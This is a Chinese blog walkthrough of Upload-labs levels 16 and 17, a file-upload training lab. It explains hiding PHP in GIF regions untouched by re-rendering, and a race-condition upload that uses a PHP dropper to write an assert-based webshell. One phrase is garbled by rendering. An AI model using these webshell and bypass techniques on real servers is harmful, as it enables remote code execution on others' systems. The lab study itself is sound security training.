当前位置: 首页 > news >正文

Upload-labs十六和十七关

目录

  • 第十六关
  • 第十七关

第十六关

直接上传php文件判断限制方式:

同第十五关白名单限制

第十六关源码:
在这里插入图片描述
代码逻辑判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染

第71行检测 f i l e e x t 和 fileext和 fileextfiletype是否为gif格式.

然后73行使用move_uploaded_file函数来做判断条件,如果成功将文件移动到$target_path,就会进入二次渲染的代码,反之上传失败.

在这里有一个问题,如果作者是想考察绕过二次渲染的话,在move_uploaded_file( t m p n a m e , tmpname, tmpname,target_path)返回true的时候,就已经成功将图片马上传到服务器了,所以下面的二次渲染并不会影响到图片马的上传.如果是想考察文件后缀和content-type的话,那么二次渲染的代码就很多余.(到底考点在哪里,只有作者清楚.哈哈)

由于在二次渲染时重新生成了文件名,所以可以根据上传后的文件名,来判断上传的图片是二次渲染后生成的图片还是直接由move_uploaded_file函数移动的图片.

我看过的writeup都是直接由move_uploaded_file函数上传的图片马.今天我们把move_uploaded_file这个判断条件去除,然后尝试上传图片马.

上传gif
将<?php phpinfo(); ?>添加到gif的尾部.
在这里插入图片描述
成功上传含有一句话的111.gif,但是这并没有成功.我们将上传的图片下载到本地.
可以看到下载下来的文件名已经变化,所以这是经过二次渲染的图片.我们使用16进制编辑器将其打开
在这里插入图片描述
可以发现,我们在gif末端添加的php代码已经被去除.

关于绕过gif的二次渲染,我们只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传带有php代码的图片了.

经过对比,蓝色部分是没有发生变化的
在这里插入图片描述
我们将代码写到该位置.
上传后在下载到本地使用16进制编辑器打开,可以看到php代码没有被去除.成功上传图片马

绕过思路:

1、把经过二次渲染的图片进行捆绑webshell图片马,文件上传时候 文件名为.gif后缀、文件类型content-type:image/gif、文件头GIF89a

推荐使用gif格式,十六进制编辑图片文件找到二次渲染未修改的图片区域插入一句话木马

第十七关

第十七关源码:
在这里插入图片描述
代码逻辑:

这里先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可以通过条件竞争的方式在unlink之前,访问webshell

绕过思路:

1、条件竞争绕过上传webshell

上传一个fputs写入shell文件功能的webshell,通过python或者burpsuite访问该文件

f.php文件内容

<?php fputs(fopen('shell.php','w'),'<?php @assert($_POST[c]);?>'); ?>

burpsuite抓包:通过爆破形式不断的进行文件上传

burpsuite抓包:通过爆破形式不断的访问该文件

http://www.lryc.cn/news/169972.html

相关文章:

  • 软件包的管理
  • 常见入门级进销存系统合集
  • 爬虫逆向实战(32)-某号店登录(RSA、补环境、混淆)
  • 正则表达式学习和高级用法
  • C# Onnx Yolov8 Fire Detect 火焰识别,火灾检测
  • 线程安全问题
  • 【力扣每日一题】2023.9.18 打家劫舍Ⅲ
  • Docker基础学习
  • esbuild中文文档-路径解析配置项(Path resolution - Alias、Conditions)
  • 您的应用存在隐藏最近任务列表名称的行为,不符合华为应用市场审核标准
  • Spring的 webFlux 和 webMVC
  • 【洛谷算法题】P5706-再分肥宅水【入门1顺序结构】
  • android studio环境搭建让你的开发之旅更加简单
  • Java面试_并发编程_线程基础
  • 基于Java的高校实习管理系统设计与实现(亮点:实习记录、实习打分、实习作业,功能新颖、老师没见过、当场唬住!)
  • 傅里叶变换
  • Vue Grid Layout -️ 适用Vue.js的栅格布局系统,在vue3+上使用
  • Electron(v26.2.1)无法加载React Developer Tools(v4.28.0)
  • 网站降权的康复办法(详解百度SEO数据分析)
  • 非对称加密、解密原理及openssl中的RSA示例代码
  • 基于springboot漫画管理系统springboot001
  • 【探索C++】string类详解
  • python 第一次作业
  • 个人博客网站一揽子:Docker建站(Nginx、Wordpress、MySql)
  • Unity 课时 4 : No.4 模拟面试题
  • Golang 基础面试题 01
  • 007-第一代软件需求整理
  • XMLHttpRequest介绍
  • 阿里云无影云电脑和传统PC有什么区别?
  • 基于matlab实现的船舶横摇运动仿真程序